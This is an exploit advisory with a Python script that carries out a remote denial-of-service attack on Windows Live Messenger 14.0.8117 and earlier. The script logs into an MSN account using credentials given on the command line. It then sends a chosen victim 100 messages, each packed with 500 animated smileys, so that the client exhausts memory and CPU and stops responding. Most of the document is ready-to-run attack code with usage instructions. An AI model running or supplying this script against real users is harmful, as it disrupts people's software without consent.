# Exploit Title: Windows Live Messenger <= 14.0.8117 animation remote Denial of Service # Date: 11/08/2010 # Author: TheLeader # Email: gsog2009 [a7] hotmail [d0t] com # Software Link: http://explore.live.com/windows-live-messenger # Version: 14.0.8117 and prior # Tested on: Windows 7 x86
# msnlib required: http://blitiri.com.ar/p/msnlib/ # Greets: forums.hacking.org.il - <3UGUYS # SP. thx goes to Alberto <albertito [a7] blitiri [d0t] com [d0t] ar> for # the msnlib library / Original msnbot example (that I modded =] )
# Description: # Windows Live Messenger is prone to a Denial of Service attack. By sending # specially crafted messages that contain a large number of animations ("Smileys"), # it is possible to make WLM consume large amounts of memory and CPU while # it attempts to render the animated images, causing it to stop responding.
import sys import time import select import socket import thread import msnlib import msncb
payload = ":'(" * 500
m = msnlib.msnd() m.cb = msncb.cb()
def do_work(): time.sleep(15) for i in range(100): print m.sendmsg(victim, payload) time.sleep(30) quit()
try: m.email = sys.argv[1] m.pwd = sys.argv[2] victim = sys.argv[3] except: print "Usage: msnkeep.py account password victim_account" sys.exit(1)
m.login() m.sync()
m.change_status("online")
def quit(): try: m.disconnect() except: pass sys.exit(0)
thread.start_new_thread(do_work, ())
while 1: t = m.pollable() infd = t[0] outfd = t[1]
try: fds = select.select(infd, outfd, [], 0) except: quit() for i in fds[0] + fds[1]: try: m.read(i) except ('SocketError', socket.error), err: if i != m: m.close(i) else: quit()
time.sleep(0.01)
|